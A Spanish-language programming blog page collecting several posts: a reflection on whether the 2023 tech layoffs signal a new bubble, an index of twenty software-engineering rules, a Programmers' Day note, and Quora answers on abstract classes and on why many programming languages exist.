lunes, 20 de marzo de 2023

¿Estamos ante una nueva explosión de una burbuja tecnológica?



La primera vez que me toco ver explotar una burbuja tecnológica, fue la explosión de la burbuja de los .com. Imagínate la situación, eran mediados de los 90, la World Wide Web (WWW) era una herramienta recién nacida y básicamente consista en documentos de texto que la gente hacia a mano en HTML y unas pocas imágenes. Era algo completamente estático, si entrabas en una página web se parecía más a leer un libro que a la experiencia casi inmersiva que ahora vivimos.

La cantidad de estos documentos creció al principio tímidamente y después de forma más exponencial. Con ellos surgió la necesidad de organizarlo, de realizar unas pagina amarilla del internet. Así surgieron los primeros buscadores de internet, como AltaVista o Yahoo. En España surgieron otros como ¡Ole! o Ozu. Estos buscadores eran jerárquicos, no buscan específicamente por contenido, sino que todo esa organizado y uno iba navegando en busca de lo que quería encontrar según su categoría.



Paralelamente a estos surgieron paginas como Geocities y Lycos, que ofrecía a sus usuarios (de forma gratuita casi siempre), poder subir sus propios páginas web y comenzar a compartir sus aficiones y conocimientos.

En algún momento antes del año 2000, el contenido la WWW dejó de ser archivos estáticos almacenados para convertirse en contenido generado dinámicamente. Cada vez que entrabas en una página su contenido se actualizaba para mostrar notificaciones o novedades.

Los buscadores (y muchas páginas) se convirtieron en lo que conocemos como portales. Casi todos ofrecían las mismas cosas.

  • Un login para los usuarios, que daba un seguimiento a tu actividad.
  • Un correo electrónico.
  • Noticias, deportes, el tiempo y cosas así.
  • Foros y preguntas
  • Chats
  • Y una parte muy pequeña y marginal para la búsqueda.


Hay que considerar que esto no era la Web 2.0, sino una especie de Web 1.5.

Las empresas se subieron muy rápido a esta nueva tendencia y se convirtió en una necesidad tener una presencia en la red. Si no tenías un portal web (los que se llamo un .com), básicamente no existías.

Por solo tener un .com el valor de una empresa aumentaba de una forma exagerada a veces incluso si la empresa era el mismo .com y realmente no producía nada. El caso más sonado de esto en España fue la creación del portal Terra del grupo telefónica, lanzado en 1999, y tras unos días en bolsa su acciones aumentaron rápidamente (y exageramente) de valor.

Las punto com se multiplicaron de forma exagerada y gracias a la especulación aumentaron de valor de forma constante, hasta que la burbuja exploto de forma clara e inequívoca en el 2002. Muchas empresas cerraron y otras definitivamente perdieron su valor.

A esto le siguió un cambio en el mercado, el interese inversionista sobre la informática, se movió a un interés inmobiliario y esto creo la llamada burbuja inmobiliaria, que acabo la crisis del 2008. Para la gente de mi generación, fue muy desmoralizador todos esto, crecimos en una época de bonanza, y nos dimos de bruces con la realidad.

Pero en esta época se plantaron la semilla para la Web 2.0, el movimiento del internet a la computación móvil, y un nuevo negocio basado en servicios. El entreteniendo, la vida social, los mismas necesidades técnica, bancarias o de comunicación, se basaron en servicios.

En la década de los 2010, hubo cambios importantes y significaditos en el mundo empresarial de la informática y la tecnología.

  • Microsoft, referente hasta ahora en este sector, se había convertido en el nuevo IBM, en el sentido que había quedado fuera de foco, era una empresa viaja y ya poco innovadora y en general poco quería. Aproximadamente el año 2015, las vacas sagrada (siendo la ultima Steve Ballmer) se alejan de la empresa y una nueva generación (con Satya Nadella a la cabeza), cambio el giro de la empresa, acercándose al software libre, ofreciendo servicios, y lenguajes de programación de alta calidad, e incluso aliándose a Linux (su gran enemigo clásico), recuperando algo de su antigua gloria, pero de una forma, más abierta (y sana) con la comunidad de desarrolladores.



  • Apple remonto a lugares nunca visto, colocando su teléfono como un referente mundial.



  • Las redes sociales como Facebook y Twitter, se convierte en la nueva forma de comunicación y compartir contenido

  • Pero sobretodo Google, se convierte en el nuevo rey de la colina, controla (o compra) casi cualquier escenario tecnológico, y marca tendencia sobre como serian las cosas a partir de ahora.



Pequeñas burbujas explotan a final de década, sobre todo en lo relativo a aplicaciones móviles, su creación y uso ido en aumento, y finalmente se saturo el mercado de aplicaciones innecesarias, y definitivamente sistemas que nunca debieron ser aplicaciones móviles. Dispositivos tales como la tablet, pierden su valor y dejan de ser objetos de deseo. La verdad es que la potencia y la versatilidad de los teléfonos, relego a las tablas a ciertos mercados especializados.

Francamente la burbuja de las apps no llego a ser tan crítico e importante, por el suceso que conmociono y cambio al mundo en el año 2020, el virus Covid.


El Covid cambio el modo de trabajar y vivir. Apareció en el año 2020 y apenas se está recuperando la normalidad en este 2023. Nos vimos encerrados en nuestras cosas, muchas empresas cerraron, otras se adaptaron en nuevos modelos de trabajo o cambiaron su negocio. La escena política cambio, ante un desgaste que no supieron manejar.

Tecnológicamente hablando, del años 2020 al 2022 se dieron los siguientes sucesos:

  • Los bitcoins, el dinero digital, llego a su máximo histórico. La moneda descentralizada se convirtió en una fuente de especulación y deseo.

  • Surgieron los NTFS, cuya máxima expresión fue unos dibujos horribles, cuya propiedad digital podrías comprar, y eran únicos en el mundo.

  • Facebook (ya habiendo adquirido Whataspp e Intagram ) cambia su nombre a Meta y anuncia el Metarverso, una especia de realidad virtual inmersiva de película futurista.

  • El valor de Amazon aumenta por las nubes, todo el mundo consume su servicio para que puedan llegarle cosas a su casa, desde donde no puede salir.

  • Jeff Bezos y Elon Musk se convierten en los hombres más ricos del mundo, y parece que se cambian el titulo constantemente.

  • Sistemas como ZOOM y Google Class se convierten en aplicaciones usadas en el día a día.

  • Auge de los servicios de streaming. Al ya famoso Netflix, se unen Disney+ y HBO max. El streaming se convierte en la forma favorita de ver cine.

  • El modelo favorito de computación pasa a ser la computación en la nube.

  • Y sobre todo, parece de manera masiva el teletrabajo (o home office) se convierte en el modelo predomínate

Parecía que se avecinaba nuevo y mejor para las empresas informáticas. Hasta que el COVID fue aminorando, a finales del 22 y principios del 23. Las empresas grandes y las que crecieron demasiados comentaron a tener días negros.

Empresas populares comenzaron a despedir gente, reducir gastos y cambiar estrategias:

  • Amazon (posiblemente la más popular estos años) despidió a 18,000 trabajadores (además entre demandas de maltrabajas a sus repartidores, que señalan condiciones muy inhumanas de trabajo).



  • Google y Microsoft despidieron 12,000 y 10,000 trabajadores, y anunciaron el cierre de proyectos innecesarios.

  • El Metaverso fue un fracaso que a pesar del éxito inicial. No le ha interesado a casi nadie, habiendo rumores de la renuncia de Mark Zuckerberg, como CEO, y despidiendo a 11,000 personas aproximarte.



  • Conceptos como Bitcoin y NFTS perdieron su valor de una forma extremadamente alarmante, habiendo la gente recuperado la confianza en las cosas físicas y tangibles.



  • Netflix que bromeaba sobre la llegada de nuevos servicios de streaming a la vez facilitaba que se comparta sus cuentas entre varios perfiles, no hay deja de subir sus precios y poner restricciones nuevas a la dicha compartición. A parte servicios como Hulu han desaparecido y WB (junto con HBO Max) fue comprada por Discovery, que lo primero que hizo fue desaparecer o cancelar todo lo que no era rentable en HBO Max.



Y el caso mas rocambolesco de todos, Twitter.

Elon Musk paso de ser una especie de futurólogo comparado con Steve Jobs a básicamente alguien que no sabe tener el control de sus propios comentarios y que uso Twitter como una forma de especular con cryptomonedas… hasta que decidió comprarlo.

Fue una compra un poco extraña, con una oferta inicial que decidió retirar (alegando que la red se componía casi completamente de bots) y que al final y obligado de forma legal, tuvo que respetar.

Llegando a su nueva oficina, dejo de ser un tecnólogo, para convertirse en un puramente un inversionista con los peores vicios de la profesión.



  • Decido despedir a todo lo que no considera imprescindible y obligar a los que se quedaran a aceptar condiciones absurdas de trabajo. No tenía el control de quien se quedaba y quien se iba, y tuvo que pedir que mucha gente regresara por al descubrir que despido a gente clave para el funcionamiento de la empresa.

  • Implemente cobros inesperados y sin sentido (como a famosa bandera azul de autentificación sin verificar), para recuperar su inversión.

  • Dejo de controlar los contenidos de la red, con los que digamos que ahora es territorio inhóspito

  • Cerró las oficinas de Twitter en varios países, eliminando la representación de la empresa en el extranjero.

  • El total de despidos de Twitter es de aproximadamente el 50% de su plantilla (puede que mas)

Los anunciantes al ver esta panorama huyeron espantados.



Como ultima notifica desmotivante el banco de Silicon Valley se acaba de declaran en bancarrota hace unos días. Este banco en particular, estaba especializado en créditos hacia empresas tecnológicas. Que un banco con tales característica quiebre, es parecido a los banco que quebraron en la crisis inmobiliaria de hace más de una década. Dieron muchos créditos a un negocio en auge que parecía muy prometedor y estos créditos no se devolvieron por que las empresas quebraron o ya no pueden pagar, lo que provoca que su vez quebrada el banco. Todo esto es muy desalentador.

Estábamos todavía en una fase muy temprana para saber que está pasando realmente, ¿Se está contrayendo el mercado a los niveles anteriores a la pandemia, o vamos hacia otra burbuja tecnológica, con resultados inesperados?, Posiblemente este 23 nos dé la respuesta antes de lo que esperamos.

domingo, 2 de octubre de 2022

Reglas de la Ingeniería de software (índice)


Cuando comencé este blog, lo hice con la intención de facilitar el trabajo de las personas que se dedican al desarrollo de software, de forma profesional. Creo que existen muchos blogs y libros tecnológicos que hablan desde el desarrollo de software desde un punto de vista académico y teórico, pero muy pocos que lo atacan desde un punto de vista laboral (sobre todo en español).

Desde hace bastantes años, tengo ciertas labores de “tutelaje”, intentando ayudar a nuevos profesionales, a que vean el panorama completo desarrollo de software empresarial. Con base a eso, comencé a elaborar una serie de “Reglas de la Ingeniería de Software”, puntos cuya lectura nos ayudarían a hacer software de calidad en un tiempo razonable. Se analizaba todo los que nos llevaba al éxito y los que nos llevaba al fracaso (y creedme he estado en ambos tipos de proyectos), y se intentaba sintetizar en un punto fácil de recordar.


Las reglas son de diversa índole, por que abarcan el desarrollo empresarial de software en general. Así que se puede encontrar reglas que hagan referencia a aspectos técnicos de los mismos lenguajes de programación, pero también a aspectos como la gestión del tiempo, la responsabilidad, o la relación entre los integrantes de un equipo de desarrollo.

Algunas reglas pueden parece que están repetidas, esto porque hay una constante que se da en el desarrollo empresarial, que es el cambio rápido y constante en el negocio que abarcan los sistemas, los que provoca cambios en los mismos sistemas, a sus capacidades y sus necesidades, forzándonos a que sea simple y fácil de mantener. Muchas reglas girar en torno a esas ideas, aunque enfocadas cada una desde un punto de vista diferente, aunque parecido.

Por otro lado este es un proyecto vivo, en el que se agregaran, corregirán (y quitaran si es necesario), las reglas que sean necesarias, para mantenerlas coherente y útiles para la vida laboral del desarrollador de software.

Las reglas actuales son las siguientes:

  • Regla N°1: Va a cambiar

    31 de agosto de 2014


    Todo cambia muy rápido en el proceso de desarrollo de un software, el mismo software construido, genera nuevos requisitos, la satisfacción de las necesidades de un proyecto, genera a su vez nuevas necesidades.

    Explicado de otra forma la resolución de un problema, genera un entendimiento más claro de dicho problema, y en esta situación, se abren nuevas posibilidades sobre las capacidades del software y el negocio que sustenta.

  • Regla N°2: Va a fallar

    6 de septiembre de 2014


    Es imposible determinar si cierto software continuara funcionando en un futuro, porque las condiciones en las que se verá envuelto son impredecibles (actualizaciones de software con el que convive, actualizaciones de hardware… incluso la fecha y hora del ordenador).

    Hay que evitar actitudes optimistas con respecto a la posibilidad que ocurran fallos, puesto que es muy probable que estos ocurran, por otro lado considerar que el usuario del sistema hará un uso “lógico” o coherente de este, es un desatino, generalmente nos sorprenderá descubriendo errores, que nunca se nos hubieran pasado por la cabeza.

  • Regla N°3: Se va a mantener

    15 de septiembre de 2014


    El tiempo que vas a estar creando software nuevo, es incomparablemente menor al tiempo que vas a estar manteniéndolo.

    Gran parte nuestros esfuerzos de desarrollo van a estar enfocados en el mantenimiento de código que bien puede ser código ajeno o código de otras personas.

  • Regla N°4: Todo sistema tiene un propósito

    21 de septiembre de 2014


    Es común que olvidemos que lo que estamos creando no es un conjunto de variables, y líneas de código, sino que tiene que un significado y relevancia especial fuera del lenguaje de programación en el que los estamos creando. Por ejemplo, una trasferencia bancaria de un millón de dólares errónea no es una posición de memoria mal inicializada, sino que puede ser una pérdida real, o un sistema médico de monitores mal construido puede poner en juego vidas humanas. Hay que pensar en nuestros sistemas por lo que van a poner aportar en un negocio o los problemas que van a poder resolver y no como simples entes tecnológicos.

  • Regla N°5: No te repitas

    28 de septiembre de 2014


    La regla "No te repitas", hace referencia a que no se deben repetir porciones de código, con funcionalidades iguales, "casi iguales", o parecidas a los largo del código. Aunque técnicamente funcione y de el resultado correcto, aumenta el grado de "degeneración del software" (el tiempo en que se echa a perder un software, hasta que ya no es útil su funcionalidad).

  • Regla N° 6: Lo importante es el "Que hace" y no el "Como lo hace"

    16 de octubre de 2014


    En la programación orientada a objetos, se diseñan elementos, donde prima la representación de "Que es lo que hace" y "Que son", principalmente, a través de sus atributos y sus métodos. también se establece como se relacionan con otros tipos de elementos (o clases), ya sea mediante técnicas como la composición, la herencia, o el envió y recepción de mensajes.

    De esta forma centrándonos en "Que hace" obtenemos una comprensión mas clara del sistema, y de sus requisitos, además construiremos un sistemas más escalable (debido a que no nos estamos centrando en "Como lo hace"). Inclusive tendremos muchas más posibilidades de conectarnos a otros sistemas, puesto que queda mas claramente establecidos los limites y conectores de estos.

  • Regla N°7: Primero los objetos, después las base de datos

    2 de enero de 2015


    El enfoque más idóneo para comenzar un sistema, es el diseño de los objetos o las clases de los que se va a constituir nuestros sistemas. Generalmente al comienzo del diseño, tenemos una idea de cómo queremos hacer las cosas, dicha idea no tiene que estar completa, y cuanto más avancemos en ella, mas compresión tendremos sobre la misma. Podemos ir reduciendo el nivel de abstracción según los necesitemos. Igualmente podemos usar relaciones de objetos, ya sea de jerarquía (herencia) o de contención (un objeto contiene a otro, o a varios). Y lo más importante, se comprende que los datos, van de la mano de las operaciones (funcionalidad), y se diseña el sistema de dicha forma.

  • Regla N°8: El entusiasmo da el conocimiento, el conocimiento sin entusiasmo no sirve de nada

    19 de julio de 2015


    El conocimiento sin entusiasmo es, en el mejor de los casos, fortuito, y casi nunca podrá convertirse en algo útil para el negocio, en sistemas y herramientas funcionalidades que creen una diferencia significativa. En la mayoría de los casos lo único que podrá realizarse sin entusiasmo es lo que yo llamo “tareas de escuela”, programas técnicamente correctos, hechos según un enunciado claro como una receta, pero que no sirve en la práctica de absolutamente nada, que son imposibles de encajar en un ambiente laboral real. En última instancia los conocimientos, y más en esta profesión, son caducos.

  • Regla N°9: Los warnings de hoy son los errores de mañana (programa sin warning)

    8 de agosto de 2015


    Cuando me enfrento al mantenimiento de código realizado por diversos equipos de trabajo (y he de reconocer que no con menos frecuencia al creado por mi), me encuentro con que al compilar, existe un excesivo número de advertencias (excesivo son más de 200 o incluso mas). Advertencias que se han ido creando a lo largo del tiempo y que nadie se ha molestado en revisar jamás, acumulándose más y más cuanto más codificadores mueven el sistema. Generalmente nadie toca dichos warning debido al temor que entraña "mover" algo cuyo sentido desconocemos (el hecho que lo desconozcamos ya debiera hacer saltar la alarma). Bueno, si existe el warning, seguramente no tenga ningún significado oculto y simplemente es una omisión no intencional que deba ser corregida.

    Los warnings se acumulan a lo largo de los años y el número dificulta entender claramente lo que nos están indicando, cuanto más warnings haya, menos casos les haremos, hasta que uno de esos warnings realmente representen un potencial problema en producción que se nos pase completamente desapercibido, convirtiéndose en un dolor de cabeza (con suerte) o en algo más grave, porque "los warnings de ahora son los errores de mañana".

  • Regla N°10: Si no es sencillo está mal hecho

    1 de diciembre de 2015


    El desarrollo de un software tiende a complicarse… a complicarse mucho. Se complica sacar el proyecto a tiempo, se complica las relaciones con el equipo de trabajo, con los proveedores o con los recursos. Debemos mantener esa complejidad bajo control, teniendo en la mente que todo lo que hagamos cumplir la regla "Si no es sencillo, está mal hecho".

    La sencillez muchas veces se confunde. Sencillez no quiere decir fácil, es casi siempre lo contrario. Es difícil hacer las cosas sencillas. Casi siempre invertir en sencillez es un proceso costoso al principio y ventajoso al final del proyecto. El objetivo de esta regla es conseguir sistemas que estén guiados por la sencillez.

  • Regla N°11: El primer código es para entender el problema, los restantes para hacerlo bien

    5 de febrero de 2017


    Como defensor del las metodologías agiles, creo que la mejor forma de comprender un problema es descomponiéndolo en problemas más sencillos y solucionándolos uno a uno.

    Esto implica que hasta que no tengamos algo de código listo, no comprenderemos exactamente la necesidad que estamos intentando suplir. Es más, el ver la necesidad resulta, pueda cambiar los requisitos y la percepción sobre el problema real a tratar.

    Los motivos anteriores hacen que el primer código no sea el más optimo, porque su objetivo está más orientado al análisis que a la implementación. La situación en este punto es tenemos un código que nos muestra una solución, pero es una solución temporal y estática (Si hubiera un cambio en los requisitos sería muy difícil de ajustar estar código para atenderlo).

    Es por lo cual necesitamos realizar una segunda revisión del código, en estas caso ya no para resolver el problema de negocio, sino para asegurarnos que nuestro código sea de calidad, cumpliendo los siguientes requisitos:

  • Regla N°12: “Hay que prepararse para la lluvia cuando hace sol” (olvídate de “Si funciona no lo toques”)

    16 de agosto de 2017


    Si funciona no lo toques”, es un refrán bastante popular y además es horrible, promueve una filosofía de conformismo e incluso de cobardía ante el cambio. Me imagino que funcionaria en algún momento, donde tu zona de confort sea enorme. En la actualidad, y particularmente en nuestro negocio, las zonas de confort tienen a hacerse muy pequeñas muy rápidamente.

    ¿Cuándo es el momento de “tocar” algo que funciona?, si crees que es “cuando no funcione”, estas en un error, ese es el peor momento para plantearte cambios. Por la misma circunstancia que “no funciona”, el objetivo, o la prioridad ya no es crear ningún tipo de mejora, si no conseguir que el sistema siga funcionando.

  • Regla N°13: Simplifica las cosas

    10 de noviembre de 2017


    Cuanto te enfrentes a un problema grande, simplifícalo en problemas más pequeños. Si estos problemas siguen siendo demasiado grandes repite el proceso hasta que tengas un problema lo suficientemente pequeño para poderlo resolver.

    Para simplificar partimos siempre de un problema grande que es irresoluble en su tamaño actual, e identificamos las partes que lo componen. Lo dividimos en pequeños problemas que son más fáciles de resolver, repitiendo el proceso hasta que podémonos identificar dichos problemas con una solución clara y sencilla, y además que solo sirva para resolver exclusivamente una necesidad.

  • Regla N°14: Evita la ceguera voluntaria

    16 de diciembre de 2017


    La ceguera voluntaria es ignorar de forma deliberada situaciones que si bien son perjudiciales, no suponen un daño inmediato, con lo que no se hace nada para corregirlas, convirtiéndose en una posible situación catastrófica a futuro.

    Cuando aparecen problemas en mitad de un desarrollo y no son atacados y mitigados cuando son pequeños, aumentaran de forma progresiva hasta ser de tal tamaño que afecte al tiempo, calidad o costo del proyecto.

  • Regla N°15: Haz que las cosas sucedan

    11 de enero de 2018


    Una de las cosas que más afectan al éxito del desarrollo de un sistema es la pasividad y falta de proactividad. Esto es, principalmente, quedarse esperando a que las cosas pasen por si solas.

    Muchas veces existen escenarios de incertidumbre en que no queda claro que es lo tenemos que hacer en cuanto al sistema que se está construyendo, esto puede ser por muchos motivos, puede ser una falta de visibilidad del objetivo real o que no se nos ha comunicado apropiadamente.

    Pero es necesario comprender que mientras el sistema no esté finalizado (satisfaga las necesidades del cliente), hay tareas pendientes que hay que resolver y es responsabilidad de cada integrante del equipo conocer cuáles son y conseguir se lleve a cabo. Es responsabilidad de cada uno hacer que las cosas sucedan.

  • Regla N°16: Por defecto todo es privado (principio de ocultación)

    25 de enero de 2018


    He observado un problema muy común de muchos programadores noveles, escriben la palabra "public" por inercia al momento de crear una nueva funcionalidad, sin pararse realmente a pensar que están haciendo, y solo cuando lo meditan bien escriben "privado". A veces no se dan cuenta de esta circunstancia, otra veces piensan que es más sencillo, si todo es público, a veces incluso piensan que le dan cierto sentido de "libertad", cuando lo que se hace abrir puerta al desastre (la “libertad” la da en todo caso, compartir el código fuente, no habilitar métodos privados como públicos).

  • Regla N°17: Primero el camino principal luego las excepciones

    23 de diciembre de 2018


    Si es bien es cierto que uno se tiene que prepara para los fallos (para que el software falle) la ruta principal (de ejecución) debe ser un camino limpio y fácilmente trazable. Incluso desde el momento del diseño, no podemos dejarnos abrumar con todas las excepciones y giros posibles de la lógica de negocio, debemos diseñar el camino feliz, y asumir que habrá excepciones en algún momento. Esto es porque si bien el camino principal suele ser sencillo, los recovecos, bifurcaciones y excepciones suelen ser muchas, muy variadas y a veces difíciles de ver, si el cambio principal y los secundarios están entrelazados obtendremos un código sumamente difícil de comprender.

  • Regla N°18: Mejor herencia que sentencias condicionales (evita el código espagueti)

    4 de febrero de 2019


    El código Espagueti es aquel que tiene un control de flujo demasiado complicado para entenderlo claramente, además de que son prácticamente imposibles de modificar por miedo a que mientras cambiamos algo se estropee otra cosa. El código esta enredado tal como un plato de espagueti, se llega a esta situación (en la actualidad), a base de agregar sentencias if encadenas, grandes y complejas. Ya de por sí, tener dos if encadenados aumenta la complejidad del código y la dificultad de mantenerlo.

    Para evitar que nuestro programa contenga código espagueti debemos evitar usar instrucciones condicionales, cuando estas pueden evitarse usando mecanismos de herencia, "Mejor herencia que condicionales".

  • Regla N°19: Enfoque en el mantenimiento y la escalabilidad antes que en la optimización

    22 de agosto de 2020


    Primero haga que funcione, después hágalo rápido. Esto es cierto incluso si se está seguro de que una trozo de código es realmente importante y se sabe que será un cuello de botella es el sistema. No lo haga. Primero, consiga que el sistema tenga un diseño lo más simple posible. Entonces, si no es suficientemente rápido, optimícelo. Casi siempre descubrirá que «su» cuello de botella no es elproblema. Guarde su tiempo para lo verdaderamente importante. Bruce Eckel, Thinking in C++

    La mantenibilidad son las modificaciones que hacemos a un sistema para que siga funcionando con el propósito para el cual fue diseñado (para resolver la necesidad de el negocio para que fue creado). La escalabilidad es la facilidad con la que podemos agregar nueva funcionalidad a un software para que se adapte a las nuevas necesidades de un mercado y para que nuestro negocio no se quede estancando y obsoleto.

  • Regla Nº20: No depender del llamador, ni de la implementación (evitar acoplamientos)

    13 de marzo de 2021


    Una clase no debe cambiar su comportamiento según quien la consume, igualmente el consumidor de una clase no debiera saber cómo esta implementada internamente dicha clase, para poder consumirla de forma adecuada.

    Idealmente una clase solo se debiera relacionar con otras a través de la definición de los métodos, el cómo hagan esos métodos sus funciones con cosas que nos deben preocupar. Lo anterior se ve claramente cuando podemos sustituir la referencia de una clase, por la referencia a una interface, y cambiar la clase que lo implementan sin mucho (o ningún) impacto.



Si te ha gustado el artículo, compártelo en tus redes sociales ;-)

martes, 13 de septiembre de 2022

¡Feliz día del programador 2022!

Como cada año, el día 256 se festeja la mejor profesión, la de programador, así que:

¡Felicidades a todos los programadores, que día a día, trabajan para construir el futuro!


¿Por qué me gusta programar?

  • Porque me gusta construir cosas, unir partes separadas y conseguir un todo más grande.
  • Automatizar tareas y ahorrar tiempo
  • Automatizar tareas y ahorrar tiempo

Pero sobre todo me gusta programar...

jueves, 18 de agosto de 2022

¿Por qué la clase abstracta no puede ser instanciada?

Este post es una copia de una respuesta que di en Quora a la pregunta ¿Por qué la clase abstracta no puede ser instanciada?



Porque es una clase cuya información y características para que sea funcional está incompleta, con lo que no tendría sentido que fuera instanciada.

¿Qué es la abstracción?


La abstracción es un proceso del pensamiento en el que podemos distinguir las características de un objeto que lo hacen ser ese tipo de objeto en concreto.

Por ejemplo todos tenemos claro cómo debe ser un árbol; debe tener raíces, tronco, ramas y hojas pero esto no define ningún árbol en concreto, ni siquiera es un árbol, es la “idea que tenemos de un árbol”. Un árbol es un manzano, un roble, un nogal o un pino, todos de ellos bastantes diferentes entre sí e inconfundibles pero cuando los vemos los reconocemos como un árbol inmediatamente y sin dudar.

Scott McCloud en su libro “Entender el comic” lo explica muy bien:


Todas las imágenes anteriores son caras pero si nos vamos a la izquierda tenemos una cara en particular una “instancia” de una cara, según avanzamos a la derecha tenemos menos características de una cara, nos quedamos con la esencia de lo que es una cara. Eso es la “abstracción”. Al final tenemos algo que estrictamente no es una cara (y que no podría funcionar como tal) pero al verlo tenemos la idea de que si.

En la programación es parecido; extraemos ideas, procesos y características para convertirlos en clases. Las clases como tal son una abstracción del objeto que queremos construir, pero no son el objeto.

La clase define el objeto, define su comportamiento y los atributos que contiene pero no el valor de estos. La clase solo es funcional cuando la instanciamos y la convertimos en un objeto.

Por ejemplo podemos definir un cuadrado como una figura geométrica de 4 lados iguales. Pero esto no sería un cuadrado, seria la clase de un cuadrado. Para que fuera un cuadrado como tal debemos instancia la clase y crear un objeto que tenga un número de determinado de unidades concreto por ejemplo un cuadrado de lado 10.


Si profundizáramos mas en la esencia de un cuadrado veríamos que este es una peculiaridad de un rectángulo, una figura geométrica de 4 lados iguales dos a dos. Por ejemplo un rectángulo de 2x2

Así funciona la herencia, con mecanismos de abstracción cada vez mayores y menos concretos. Un rectángulo es una abstracción superior de un cuadrado o un cuadrado es una peculiaridad de un rectángulo.


Pero en este caso tanto las clases cuadradas y rectángulas pueden instanciarse y tener sentido por ellas mismas; existen los cuadrados y existen los rectángulos, son tangibles y se pueden medir, son objetos concretos

Si profundizamos más el concepto de rectángulo descubriremos que es un área cerrada de N lados, es decir un polígono.


Y aquí es donde llegamos al concepto de clase abstracta. Si la clase es una abstracción del objeto, la clase abstracta es una “abstracción” de la clase

La existencia del polígono no tiene sentido sin que tenga una forma particular, es decir no existe un polígono que no sea un cuadrado, triangulo, trapezoide o cualquier otra forma cerrada. No hay manera de instanciar solo el de polígono sin que sea además otra cosa más concreta.

Si definimos nuestro concepto de polígono como una clase que tiene n lados y además tiene un área, tendremos un idea aproximada de cómo es el polígono, pero no sabremos cuánto mide cada lado, ni si es regular o irregular y mucho menos como se calcula el área.

No tiene sentido instanciar las clase abstracta polígono, porque no es algo “real” y concreto con lo que podamos trabajar, necesitamos completar la clase con algo más particular para que tenga sentido, es decir un tipo particular de polígono.

Si vemos la clase abstracta “polígono” el número de lados es una atributo, y es una característica común de los polígonos, sin embargo como calcular el área es una particularidad de cada polígono.

Por ejemplo para calcular el área de los siguientes polígonos se calcula así:

  • Cuadrado: lado al cuadrado
  • Rectángulo: base por altura
  • Triangulo: Alto x Ancho /2
  • Pentágono: ((5 * longitud) * apotema) / 2;


Además tenemos un caso especial, una circunferencia que tiene área pero no es un polígono (por lo menos no como lo hemos definido) ya que no tiene lados. El hecho que se le pueda calcular el área se puede definir mediante una interfaz, así pues:

  • Una clase abstracta es una clase implementa características, como por ejemplo el hecho de tener numero de lados para nuestro polígono, pero no implementa otras como calcular un área (pero si las define). Las características no implementadas deben estar dentro de su jerarquía de herencia.
  • Las interfaces nos definen que características y funcionalidades debe tener una clase, pero en ningún caso nos indica como implementarlas, y no tiene que existir ninguna relación de herencia. Simplemente indicamos que una clase en particular debe poder resolver unas necesidades, pero no como hacerlo.


Un ejemplo más real


Un ejemplo ya alejado de lo simple de las definiciones teóricas podemos encontrarlo en la implementación de la clase DbConnection de ADO.NET

ADO.NET es la colección de clases de más bajo nivel (y más básicas) que usa .NET para el uso de base de datos. Definen de una forma clara y atómica como conectarse a un motor de base de datos y como ejecutar comandos además de ser un ejemplo excelente para estudiar abstracción.

La clase básica para conectarnos a una base de datos es la clase DbConnection que tiene las siguientes características:


Generalmente las clases abstracta definen e implementan código común a un conjunto de circunstancias pero no ponen atención a los "detalles", que son implementados por las clases hijas

Por ejemplo en la clase DbConnection los elementos marcados en rojo son abstractos, eso quiere decir que la clase no sabe cómo resolver su funcionalidad y al no saberlo la clase no puede ser instanciada, ya que esta “incompleta”.

Cada driver de base de datos debe definir como resolver esta funcionalidad, algunos de estos métodos son:

  • Open, Close, BeginDbTransacion: Estos métodos están extremadamente ligados al motor de base de datos a usar y al driver correspondiente.

Sin embargo otros métodos no dependen del driver en absoluto ya que definen flujos y funciones que son iguales para todos los tipos de base de datos, por ejemplo:

  • OpenAsync: Abre una conexión de forma asíncrona. Este método resuelve todo el flujo de los hilos y finalmente llame al método abstracto Open.
  • StateChange: Se lanza cada vez que se cambia el estado de la conexión.
  • Dispose: Cuando se ejecuta este método el flujo siempre es igual, se liberan los recursos, y siempre se llama al método Close.

Estos métodos realizan una serie de operaciones comunes en la clase base y finalmente “llama” a los métodos abstractos en algún momento.

Cada proveedor de base de datos debe ofrecernos un driver y una clase adecuada que implemente los métodos abstractos y opcionalmente sobrescriba los métodos virtuales (si esto es necesario).

Un diagrama de esto, por ejemplo usando conexiones para SQL, MySQL y Oracle, podría quedar así:



Puedes encontrar el código fuente de todo el artículo en:


Si te ha gustado el artículo, compártelo en tus redes sociales ;-)

domingo, 13 de febrero de 2022

¿Por qué hay tantos lenguajes de programación? ¿No podemos crear un solo lenguaje para hacer todo?

Este post es una copia de una respuesta que di en Quora a la pregunta " ¿Por qué hay tantos lenguajes de programación? ¿No podemos crear un solo lenguaje para hacer todo? Sería más fácil, ¿no? , y que se me hizo interesante el tema sobre todo por los temas que hemos tratado en el blog.


Hay que considerar la historia y los motivos para que esto sea así.

La necesidad de poder expresar procesos y "algoritmos" precede incluso a la programación como tal. Es la necesidad de poder definir como se hacen las cosas, de una forma clara y sin ambigüedades.


Los lenguajes declarativos, aquellos en los que expresamos que deseamos obtener y no como obtenerlos preceden en fecha a cualquier tipo de lenguaje e incluso arquitectura avanzada, pero no era posible implementarles en las primeras maquinas.

Las primeras maquinas reales y prácticas que permitían programación era los telares (para generar distintos diseños y formas) y lo que se programaba era el hardware mediante la dispositivo física del mismo.

A parte de lo anterior, el primer concepto de programación era combinaciones de unos y ceros, que la maquina interpretaba como instrucciones.

Evidentemente eso era imposible para comprender para un ser humano (cuando aumentaba la complejidad de un programa), con los que se inventaron mnemotécnicos, para que fuera más "entendible" y se pudiera memorizar de forma más sencilla. Así nació el ensamblador, que es simplemente un conjunto de instrucciones que representa literalmente combinaciones de unos y ceros.

Al principio se hacia el programa en ensamblador y se traducía manualmente en unos o ceros.

Cuando mas evoluciona el hardware (e evoluciona mas cada vez más rápido), fue patente que era necesario que los lenguajes fueran más sencillos y más claros, por que el tiempo era algo fundamente, si podías hacer (y vender) un sistema en la mitad de tiempo, ¿por que ibas a tardar el doble?

Así sugirieron lenguajes como FORTRAN para que los científicos (que no tenían por qué ser ingenieros informáticos), pudieran usar las capacidades de computación de "alta" rendimiento, COBOL para que las instituciones (bancarias principalmente) pudieran gestionar el negocio y la contabilidad de su empresa, y posteriormente C, un lenguaje para programar maquinas de forma genérica, incluso BASIC que su principal atractivo era programar de forma fácil.

La creación de estos lenguajes, junto con el abaratamiento del hardware, provoco un boom de la informática. Todo el mundo de una forma u otra, quería incursionar en este mundo, para distintos fines.

